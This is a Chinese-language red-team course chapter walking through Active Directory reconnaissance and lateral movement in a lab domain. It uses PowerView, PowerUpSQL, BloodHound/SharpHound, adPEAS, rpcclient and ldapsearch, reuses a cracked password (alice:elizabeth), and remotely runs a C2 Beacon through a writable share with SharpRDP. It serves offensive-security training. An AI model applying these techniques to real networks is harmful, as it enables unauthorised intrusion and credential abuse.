我们查看一下 SQL Server 的详细信息，可惜并不能直接看出来包含哪些服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/EKcbOxTCCfxkmGCR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/EKcbOxTCCfxkmGCR-image.png)

我们可以用这么一个长命令得到指定 OU 所包含的内容：

```powershell
Get-DomainOU -domain prod.raven-med.local -identity "SQL Server" | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name}
```

PROD 域中的 SQL Server OU 包含了服务器 SRV01。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/dGlJ3xRq9n2ZV9r9-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/dGlJ3xRq9n2ZV9r9-image.png)

### **枚举GPO**

接着，我们来枚举一下存在的 GPO

```powershell
Get-DomainGPO -Properties DisplayName
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kEMk7YiILhOnhmCk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kEMk7YiILhOnhmCk-image.png)

我们发现有一个自定义的 GPO DebugRemoval，查看一下它的详细信息：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/RnQuHuVsqNNpk0aI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/RnQuHuVsqNNpk0aI-image.png)

我们并没有看到类似于描述之类的属性，从名称也无法准确推测出该 GPO 的作用。那么，我们来查看一下 PROD 域的 GPO。在 PROD 域，存在更多自定义的 GPO，AppLocker 与 RunAsPPL 都是我们能根据名称推测出作用的 GPO。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/K0bD4defoF4MGuv7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/K0bD4defoF4MGuv7-image.png)

既然推测了 **AppLocker** 与 **RunAsPPL** 的作用，我们来查看一下它们的作用对象：

##### **作用于特定主机的所有 GPO**

如果我们的目标只是一台主机，我们可以直接查询作用于它的 GPO，我们以当前的 Web02 为例

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Oz9WUv7kgDQT39by-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Oz9WUv7kgDQT39by-image.png)

有 2 个 GPO 作用于 Web02 主机。

##### **特定 GPO 所作用的 OU**

```powershell
Get-DomainOU -gpLink "[GPO Name(序列号)]"
```

我们能看到，在 PROD 域中，**RunAsPPL** GPO 只作用于 **File Server** OU。该 OU 只有一台主机 **file01**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/gjJufmCZrvTMMExR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/gjJufmCZrvTMMExR-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/sbH1Tm2ZVskFhxmy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/sbH1Tm2ZVskFhxmy-image.png)

而 **BloodHound** 则可以显示出 OU 与 GPO 之间更直观的关系。

# 内部服务访问

我们在域内可以访问的其他服务也不可忽视，因为企业的域环境同时也是个内部网络。我们在一般内部网络渗透中会遇到的应用以及对应的攻击手法，在企业的域环境中依旧适用。诸如 FTP，SSH，HTTP(S) 等普通内网中就很常见的网络服务不再赘述，我们来讲在 AD 中更应当注意的内部服务，例如 **SMB** 与 **MSSQL**。

### **SMB**

如果拿下的的用户可以访问其他主机的 **C$** 或 **ADMIN$**，意味着该用户拥有对该计算机的本地管理员权限。除了 C$ 和 ADMIN$，还要注意任何**可读/可写**的共享目录，例如某个服务器开放 **dev** 共享目录，它可能存储着应用程序的源代码。

我们依旧可以用 PowerView 枚举域内所有 SMB 目录。我们既可以查看所有的共享目录，也可以查看对自己来说可以访问的。先来查看 white-bird 域内所有的 SMB 目录：

```powershell
Find-DomainShare
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hasp6oaBmWDcGcUZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hasp6oaBmWDcGcUZ-image.png)

枚举当前用户可以访问的共享目录，我们发现当前用户可以访问 WEB02 的 C$ 和 ADMIN$，这是理所当然的，因为 serveradm 对 WEB02 具有本地管理员特权。

```powershell
Find-DomainShare -CheckShareAccess
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/erJLRsMXmOht9nhV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/erJLRsMXmOht9nhV-image.png)

我们来分别查看一下 PROD 域的：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/g8Yfz8Szt2RIo11Q-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/g8Yfz8Szt2RIo11Q-image.png)

其中，file01 的 **Tools** 共享目录是自定义的，看看这些共享目录中有哪些是可以直接访问的

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/sLeMi7Nkq1WhZWUF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/sLeMi7Nkq1WhZWUF-image.png)

很棒，该目录对于 **serveradm** 这样的域外用户都是可以访问的，看起来存储了一些工具。更令人惊喜的是，该共享目录还可写，那么显然是多了一条利用的道路。至于如何利用，我们会在后续章节讲解。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/cwE4X7MjlMQibA1y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/cwE4X7MjlMQibA1y-image.png)

###   
**MSSQL 服务器**

对于 MSSQL，只要我们具有特定权限，就能在其他主机上执行命令。关于 SQL Server 的利用，我们会在下一章做具体阐述。

我们需要先扫描内网段主机的 **1433** 端口，这是 MSSQL 的常用端口：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/uhoGH7mtiAB0IjeD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/uhoGH7mtiAB0IjeD-image.png)

一共有 3 个 MSSQL 实例，分别在 **172.16.1.14**，**172.16.1.42**，以及 **172.16.1.52** 主机上。

接下来，我们可以用 PowerUpSql 脚本枚举域内的 SQL 服务器，当前域有 1 台 SQL 服务器，即 Web02。

```powershell
Get-SQLInstanceDomain
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/SR8K6zjQ7QAMZSZx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/SR8K6zjQ7QAMZSZx-image.png)

测试对特定实例，即 Web02 上 SQL03 的访问，我们发现可以访问。

```powershell
Get-SQLConnectionTest -Instance [实例名]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/bYX2E9a0lvFExE2h-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/bYX2E9a0lvFExE2h-image.png)

获取 SQL 数据库实例信息，我们当前并不是 **Sysadmin** 权限。此外，还可以看到一些有关操作系统、SQL 版本、SPN 相关的信息。

```powershell
Get-SQLServerInfo -Instance [实例名]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/C9crKDeKn6G5CsIT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/C9crKDeKn6G5CsIT-image.png)

获取 SQL 数据库实例的链接，我们发现 SQL03 实例与 SRV02 上的 SQL02 实例互相连接

```powershell
Get-SQLServerLinkCrawl -Instance [实例名] 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/34I9Yk8LTGPTLdgp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/34I9Yk8LTGPTLdgp-image.png)

###   


### **其他**

实际上，还有其他一些的内网服务可以与 AD 进行无缝交互，例如 **IIS 服务器**、**Exchange**、**Jenkins** 等。在教材未来的更新中，我们争取加入更多这样的案例。

# 域信任

域信任决定了域与域之间对彼此的资源访问权限，尤其是当我们已经获得了当前域的域管理员，想移动到其他的域或森林里，利用域信任尤其必要。即便尚未获得当前域的域管理员，我们也可以枚举外部域的信息从而打开突破口，外部成员也可以给我们带来突破域的途径。

需要强调的是，域信任的方向与资源访问的方向是相反的，**域 A 信任 域 B**，那么 **域 B 中的主体可以访问 域 A 中的资源**。如果信任是双向的，则资源访问也是双向的。枚举域的信任是很直接的，我们只需要命令 **Get-DomainTrust**。接下来，我们讨论一下各种情况下的域信任。

```powershell
Get-DomainTrust -Domain [域]
```

###   


### **森林内信任**

也就是子域与父域、或者子域与另一个子域，信任总是双向的，我们可以利用黄金票据或者信任密钥进行横向移动。  
森林之间。

我们枚举 **PROD** 域的信任关系，发现它只与父域 **RAVEN-MED** 互相信任。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/97Uxw3io9mGAHAEs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/97Uxw3io9mGAHAEs-image.png)

但如果我们枚举 **RAVEN-MED** 域的信任关系，我们发现它不仅与子域 PROD 互相信任，还与别的域存在信任关系。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hmoOt4lnuhTUzoPy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hmoOt4lnuhTUzoPy-image.png)

那么 PROD 域与这些域间接地存在信任关系吗？这个其实需要看具体配置以及具体分析，森林间的信任在配置信任的时候可以设置成传递性的，也可以是非传递性的。但是，多个森林之间是不可传递的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/DnSdYs8n7ybosnpm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/DnSdYs8n7ybosnpm-image.png)

###   
**森林间双向信任**

我们可以看到当前域与森林 raven-medicine.local 是互相信任的，当然，与 prod.raven-medicine.local 也是。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/igpm4ikWkX6lx3us-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/igpm4ikWkX6lx3us-image.png)

###   
**入口信任**

raven-medicine 域的信任之中，有来自 med-factory.local 的入口信任，即 raven-med.local 的主题可以访问 med-factory.local 的资源。我们还需要知道信任之间是否建立了选择性信任，即森林中只有特定主体可以对对方域进行认证。该实验中并没有配置该项。

### [![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/hmoOt4lnuhTUzoPy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/hmoOt4lnuhTUzoPy-image.png)

###   
**出口信任**

当前森林信任 med-deal.local 域，即 med-deal.local 可以对当前域认证并访问资源。我们并不能枚举对面森林，因此我们需要借助别的技巧和途径。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/igpm4ikWkX6lx3us-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/igpm4ikWkX6lx3us-image.png)

综上，对于双向信任以及出口信任，我们可以使用例如 PowerView、SharpHound、adPEAS 等域内信息枚举工具对可访问资源的域进行跨域枚举。

# 使用 SharpHound 枚举

在本章的之前几篇，BloodHound 多次被提及到。Bloodhound ([https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)) 是一款利用图论揭示 **Active Directory** 或 **Azure** 环境中隐藏的、非预期关系的工具。我们可以使用它快速轻松地枚举域对象并找到攻击路径。

### **配置 BloodHound**

要设置 Bloodhound，我们需要配置多个组件：**Neo4j 数据库**，**Sharphound 数据搜集器** 和 **Bloodhound**。虽然可以在 Linux 上设置 Bloodhound，但我们将在 Windows 10 虚拟机上进行设置。

首先，安装 Java ([https://www.java.com/en/download/](https://www.java.com/en/download/%EF%BC%89%EF%BC%8C%E5%9B%A0%E4%B8%BA))，因为Neo4j 依赖于 Java。在 Java 的最近版本中，安装会自动为我们配置环境变量。然后，安装 Neo4j 社区服务器 ([https://neo4j.com/download-center/\\#community](https://neo4j.com/download-center/%5C#community%EF%BC%89%E3%80%82))。

解压下载的文件，并通过执行命令：**neo4j.bat console** 来启动 Neo4j。

建议从提升特权的命令行终端中运行，如果一切正常，我们会看到与下面的截图类似的内容：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KPIuClxLyuIYqVyo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KPIuClxLyuIYqVyo-image.png)

然后访问 http://127,.0.0.1:7474 以连接 neo4j 数据库的面板。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/2usEqCvEEdpBxBBS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/2usEqCvEEdpBxBBS-image.png)

 默认凭证是 neo4j:neo4j，第一次登陆后会要求修改密码。然后，我们可以从 [https://github.com/BloodHoundAD/BloodHound/releases ](https://github.com/BloodHoundAD/BloodHound/releases)下载最新的 BloodHound 了。

解压并运行 BloodHound，输入修改后的凭证并登陆

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/30PqP1BsKqmT23Wc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/30PqP1BsKqmT23Wc-image.png)

### **使用 SharpHound 搜集数据**

目前，BloodHound 中是空的，因为我们没有上传任何数据，这就需要我们用 SharpHoun 搜集器来搜集域信息了。我们可以从 [https://github.com/BloodHoundAD/SharpHound](https://github.com/BloodHoundAD/SharpHound) 处下载最新的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/s6ilfqmqXMQPqCZe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/s6ilfqmqXMQPqCZe-image.png)

对于装有旧版本 BloodHound 与 SharpHound 的同学来说，最好同步使用最新版本的，因为这两个工具版本要匹配，不然会有数据文件兼容性问题。下载的 SharpHound 也包含了 PowerShell 版的 SharpHound 了。

SharpHound 支持多个参数，包括搜集方法、请求频率、搜集范围等。灵活指定这些选项的值可以提升 OPSEC，毕竟 SharpHound 默认情况下会在短时间内发送较多 LDAP 请求给域控。哲理的话，我们使用了命令 **sharphound.exe -c All --throttle 1500 --jittle 10** 来运行 sharphound 搜集器，并成功获得了输出文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/RVr2zMP2D9kvTOPM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/RVr2zMP2D9kvTOPM-image.png)

重复命令，但是指定域为 PROD 以及 RAVEN-MED。最终将得到的输出文件一起打包下载，传送到 BloodHound 所在的数据，并上传文件。我们也可以使用 PowerShell 版的搜集器搜集数据。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/ao5xpaVp3lrexQXN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/ao5xpaVp3lrexQXN-image.png)

上传之后，重启 BloodHound，然后就能看见搜集的数据了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/TtCkA5IviSOAk40H-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/TtCkA5IviSOAk40H-image.png)

我们可以以图形化方式简单直接地查看主体之间的关系

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Mzrej7H7Bs9azFjk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Mzrej7H7Bs9azFjk-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/CJrJga2RrBQE2DCT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/CJrJga2RrBQE2DCT-image.png)

我们还可以把已经沦陷的域主题标注出来，从而让 BloodHound 自动帮我们计算接下来的攻击路径。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/5nfBTo0gOWOgigx5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/5nfBTo0gOWOgigx5-image.png)

根据图示，我们是可以从在拿下用户 serveradm 后轻易接管当前域的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/kkYWQ8SFf22nNR3t-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/kkYWQ8SFf22nNR3t-image.png)

BloodHound 内置了一些好用的查询语句，例如帮助我们发现了用户 **prod\\back\_operator** 具有在 PROD 域内的 DCSync 特权。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/jKyPeVUtPd7xVwcO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/jKyPeVUtPd7xVwcO-image.png)

我们还可以用原始查询来自定义查询语句，例如筛选所有具有 SPN 用户的语句为

```neo4j
MATCH (u: User {hasspn:true}) RETURN u
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/7VBnNrH5VOSpE0sn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/7VBnNrH5VOSpE0sn-image.png)

除了 BloodHound之外，adPEAS ([https://github.com/61106960/adPEAS](https://github.com/61106960/adPEAS)) 也是很优秀的工具。adPEAS 的用法很简单，导入脚本后执行命令 **Invoke-adPEAS** 即可，可以指定其他可访问的域。adPEAS 默认会发出大量请求，是 OPSEC 不安全的，因此我们需要指定一些选项。在大量输出中，adPEAS 会高亮一些潜在的配置漏洞，以及自动帮我们获取一些帐号的 Kerberos 哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Nk1v2iNmpuxaWOw6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Nk1v2iNmpuxaWOw6-image.png)

# 在 Linux 上的信息搜集

在 Linux 上的信息搜集，这里有两层含义，一是指在Linux域主机上对所在域进行侦查，另一层是指使用 Kali Linux 或其他 Linux 攻击主机对目标域进行侦查。

### **第二个 Beacon**

目前，我们只有一个来自 Web02 的 Beacon，以及 Web01 的 root 权限 Shell，还没有其他 PROD 域中用户的明文凭证。回想 chatjs 应用中出现的用户，我们发现他们都是域用户。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/J4xn7jtCRvroVT5p-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/J4xn7jtCRvroVT5p-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/Z3AaydY9ZaFYGiYt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/Z3AaydY9ZaFYGiYt-image.png)

那么就可能存在密码重用，尤其是我们已经破解出 Alice 的密码为 elizabeth (无法还原出其他用户的密码)。再加上默认情况下，所有域用户都可以访问 SSH，那么我们不妨尝试使用 **alice:elizabeth** 登陆 Web01 的 SSH 服务。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/KVq3dJV5ZUFUlRGk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/KVq3dJV5ZUFUlRGk-image.png)

我们成功登陆了 Web01。并且，我们通过 Chatjs 的利用获得了 root 权限，我们可以灵活地在 alice 与 root 用户之间切换。

查看 Alice 的描述，我们发现她可能具有对 File01 RDP 的访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/VJR6QjN2UKcexsV7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/VJR6QjN2UKcexsV7-image.png)

我们知道 file01 有个公开可读可写的 SMB 目录 **Tools**，我们猜测其绝对路径为 **C:\\Tools** (使用 **UNC 路径**执行程序可能会被阻止)。上传一个 Beacon，然后使用 **SharpRDP** ([https://github.com/0xthirteen/SharpRDP](https://github.com/0xthirteen/SharpRDP)) 在不开启 GUI 的情况下通过 **RDP** 协议远程执行该 Beacon。

```powershell
sharprdp.exe computername=[FQDN] command="[程序绝对路径]" username=[域NetBIOS\用户名] password=[密码]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-12/scaled-1680-/vvxVaOPfs3a2l3tL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-12/vvxVaOPfs3a2l3tL-image.png)

幸运的是，我们猜对了绝对路径，并且获得了新的 Beacon，来自 File01，当前用户为 **PROD\\Alice**。这样，我们有了在 PROD 域的第一个 Beacon。

<div class="ZyvIDe" id="bkmrk--4" jsname="kDm4dd"><div class="ZyvIDe" jsname="kDm4dd"><div class="a8FIud X0rvP L6rCcb" data-apply-responsive-style="true" data-classes="" data-initial-translation-length="1318" data-saved-translation-limit-reached="false" jsaction="click:hcujVc,xAFyGb;JIbuQc:VIRg6(NakZHc),OXRwre(UsVyAb);QZDRD:aGeOie;DUcLEe:qaj0Me;" jscontroller="JVNQkc" jsname="DgLQX"><div data-anchor-corner="bottom-end" data-append-to-body="false" data-enable-skip-handler="false" data-popup-corner="top-end" data-propagate-tooltip-mouseover-events="true" data-show-delay-ms="250" jsaction="mouseover: kptBG(Fs81Kd); mouseout: o9UdU(Fs81Kd),o9UdU(V6DMGe);" jscontroller="HwavCb" jsshadow=""><div jsname="Fs81Kd"><div class="VfPpkd-Bz112c-RLmnJb">  
</div><div class="VfPpkd-Bz112c-RLmnJb">  
</div></div></div></div></div></div>### **Linux域主机**

<div class="ZyvIDe" id="bkmrk-%E5%9C%A8linux%E5%9F%9F%E4%B8%BB%E6%9C%BA%E4%B8%8A" jsname="kDm4dd"><div class="a8FIud X0rvP L6rCcb" data-apply-responsive-style="true" data-classes="" data-initial-translation-length="1318" data-saved-translation-limit-reached="false" jsaction="click:hcujVc,xAFyGb;JIbuQc:VIRg6(NakZHc),OXRwre(UsVyAb);QZDRD:aGeOie;DUcLEe:qaj0Me;" jscontroller="JVNQkc" jsname="DgLQX"><div data-anchor-corner="bottom-end" data-append-to-body="false" data-enable-skip-handler="false" data-popup-corner="top-end" data-propagate-tooltip-mouseover-events="true" data-show-delay-ms="250" jsaction="mouseover: kptBG(Fs81Kd); mouseout: o9UdU(Fs81Kd),o9UdU(V6DMGe);" jscontroller="HwavCb" jsshadow=""><div jsname="Fs81Kd"><div class="VfPpkd-Bz112c-RLmnJb">  
</div></div></div></div></div><div aria-live="polite" class="dePhmb" id="bkmrk-%E6%9C%89%E6%97%B6%EF%BC%8C%E9%9D%A2%E5%90%91%E5%85%AC%E4%BC%97%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%98%AF-linux-%E6%93%8D" jsaction="copy:zVnXqd,r8sht;" jsname="r5xl4"><div class="eyKpYb" data-language="zh-CN" data-original-language="en" data-result-index="0" jsaction="rcuQ6b:uniPq;agoMJf:uniPq;PAwimb:fO5Jj;YMDPBc:IPcVpf;zimBkd:psubsc,xEIEwf,vvaHqf,Mw7EEb,bfSYBe,xdbiQe,Omr8vc,aVxZJe;cJuFmb:inBH1e;ZpeCNe:B59DSc;bA9BVe:NTHvjd,G7JiR;d3Xgce:uniPq;yZ6OX:TWxCtb;EKmdBc:g1rTCe; dblclick:wgdrZd" jscontroller="UmyLh" jsdata="Rd7LAc;_;$90" jsmodel="d6pv6c"><div class="J0lOec"><span class="VIiyi" lang="zh-CN"><span class="JLqJ4b" data-language-for-alternatives="zh-CN" data-language-to-translate-into="en" data-number-of-phrases="1" data-phrase-index="0"><span class="Q4iAWc">有时，面向公众的服务器是 Linux 操作系统，例如 Web 服务器。在利用 Web 应用的漏洞后，我们成功地以普通用户或 root 的身份访问该 Linux 服务器。如果作为普通用户身份，甚至不是域用户，而是 **www-data** 等服务账户，这时候我们既不知道任意域用户的明文凭证，也无法访问所有文件，因此我们最好的策略是想办法提升到 root 权限，但不排除服务器有一些文件权限的不当配置，使得普通用户也能读取甚至更改一些敏感文件。如果作为root用户，我们可以访问所有的文件了，但依旧没有任何用户的明文密码。在之前的章节里说了，我们需要关注用户的 **ccache** 文件，位于**/tmp** 目录下，以及用户与主机的 **keytab** 文件。域主机的keytab文件固定位于**/etc/krb5.keytab**，而用户的 keytab 文件不固定，取决于用户习惯。</span></span></span></div></div></div><div class="J0lOec" id="bkmrk--5"></div><div class="J0lOec" id="bkmrk--6"></div><div aria-live="polite" class="dePhmb" id="bkmrk-%E9%80%9A%E5%B8%B8%E6%9D%A5%E8%AE%B2%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8A%8A%E5%8F%91%E7%8E%B0%E7%9A%84%E8%BF%99%E4%BA%9B%E5%87%AD%E8%AF%81%E6%96%87%E4%BB%B6%E8%BD%AC" jsaction="copy:zVnXqd,r8sht;" jsname="r5xl4"><div class="J0lOec">  
</div><div class="eyKpYb" data-language="zh-CN" data-original-language="en" data-result-index="0" jsaction="rcuQ6b:uniPq;agoMJf:uniPq;PAwimb:fO5Jj;YMDPBc:IPcVpf;zimBkd:psubsc,xEIEwf,vvaHqf,Mw7EEb,bfSYBe,xdbiQe,Omr8vc,aVxZJe;cJuFmb:inBH1e;ZpeCNe:B59DSc;bA9BVe:NTHvjd,G7JiR;d3Xgce:uniPq;yZ6OX:TWxCtb;EKmdBc:g1rTCe; dblclick:wgdrZd" jscontroller="UmyLh" jsdata="Rd7LAc;_;$90" jsmodel="d6pv6c"><div class="J0lOec">通常来讲，我们可以通过 SOCKS 代理在攻击主机上远程枚举域信息，但有的加入域的主机会自带一些工具，例如 ldapsearch、pbis-open ([https://github.com/BeyondTrust/pbis-open](https://github.com/BeyondTrust/pbis-open))，以及 rpcclient 等。</div></div></div><div class="J0lOec" id="bkmrk--7"></div>#### **RPCClient**

<div class="J0lOec" id="bkmrk-%E5%9C%A8-web01-%E4%B8%8A%E5%B9%B6%E6%B2%A1%E6%9C%89%E5%86%85%E7%BD%AE-rpccl">在 Web01 上并没有内置 RPCClient，不过很多时候该应用是内置的，那我们透过 SOCKS 来枚举。使用 rpcclient，我们需要指定明文帐号密码，尽管有的时候空会话是允许的。</div><div class="J0lOec" id="bkmrk--8"></div>```shell
rpcclient -U <域 FQDN>/<账户>%<密码> <DC>
```

##### **用户**

我们通过 enumdomusers 命令来查看所有用户

```shell
root@ts:~# proxychains rpcclient -U prod.raven-med.local/alice%elizabeth 172.16.1.11
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-172.16.1.11:445-<><>-OK
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sql_service] rid:[0x641]
user:[app_security] rid:[0x642]
user:[network_security] rid:[0x643]
user:[alice] rid:[0x645]
user:[harold] rid:[0x646]
user:[backup_operator] rid:[0x647]
user:[john] rid:[0x648]
user:[newman] rid:[0x64b]
user:[jim] rid:[0x64c]
user:[carl] rid:[0x64d]
user:[fusco] rid:[0x64e]

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/PqaF79hfnDfFultx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/PqaF79hfnDfFultx-image.png)

通过命令 **query &lt;RID&gt;** 来查看用户详情

```shell
rpcclient $> queryuser 0x641
        User Name   :   sql_service
        Full Name   :
        Home Drive  :
        Dir Drive   :
        Profile Path:
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Tue, 28 Mar 2023 03:04:56 UTC
        Logoff Time              :      Thu, 01 Jan 1970 00:00:00 UTC
        Kickoff Time             :      Thu, 01 Jan 1970 00:00:00 UTC
        Password last set Time   :      Sat, 28 Jan 2023 19:35:18 UTC
        Password can change Time :      Sun, 29 Jan 2023 19:35:18 UTC
        Password must change Time:      Thu, 14 Sep 30828 02:48:05 UTC
        unknown_2[0..31]...
        user_rid :      0x641
        group_rid:      0x201
        acb_info :      0x00000210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x0000000a
        padding1[0..7]...
        logon_hrs[0..21]...

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/qyyWNnFA3kgqoaGZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/qyyWNnFA3kgqoaGZ-image.png)

##### **群组**

<div class="J0lOec" id="bkmrk-%E5%AF%B9%E4%BA%8E%E7%BE%A4%E7%BB%84%EF%BC%8C%E4%B9%9F%E6%98%AF%E7%B1%BB%E4%BC%BC%E7%9A%84%EF%BC%8C%E9%80%9A%E8%BF%87-enumdo">对于群组，也是类似的，通过 enumdomgroups 命令枚举群组</div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/NVNCioMnUajM8SCp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/NVNCioMnUajM8SCp-image.png)

<div class="J0lOec" id="bkmrk-%E5%AF%B9%E4%BA%8E%E6%9B%B4%E5%A4%9A%E5%91%BD%E4%BB%A4%EF%BC%8C%E6%9F%A5%E7%9C%8B-help-%E8%8F%9C%E5%8D%95%E5%8D%B3%E5%8F%AF%E3%80%82">对于更多命令，查看 help 菜单即可。</div>[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-03/scaled-1680-/mce3hUCeQfej5T4y-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-03/mce3hUCeQfej5T4y-image.png)

#### **LDAPSearch**

<div class="J0lOec" id="bkmrk-ldapsearch-%E4%B9%9F%E6%98%AF%E8%87%AA%E5%B8%A6%E7%9A%84-lda">ldapsearch 也是自带的 LDAP 交互工具之一，并且 Web01 上就有安装。我们同样需要指定明文帐号密码，除非空会话被允许。</div><div class="J0lOec" id="bkmrk--13"></div>```shell
ldapsearch -h <DC IP> -p 389 -x -b "<站点>" -D '<域\用户>' -w '<密码>'
```

##### **用户**

我们指定了 **objectclass** 为 **user**，并且提取 **samaccountname** 属性：

```shell
web01@web01:~$ ldapsearch -h 172.16.1.11 -p 389 -x -b "dc=prod,dc=raven-med,dc=local" -D 'prod\alice' -w 'elizabeth' '(objectclass=user)' samaccountname
# extended LDIF
#
# LDAPv3
# base <dc=prod,dc=raven-med,dc=local> with scope subtree
# filter: (objectclass=user)
# requesting: samaccountname 
#

# Administrator, Users, prod.raven-med.local
dn: CN=Administrator,CN=Users,DC=prod,DC=raven-med,DC=local
sAMAccountName: Administrator

# Guest, Users, prod.raven-med.local
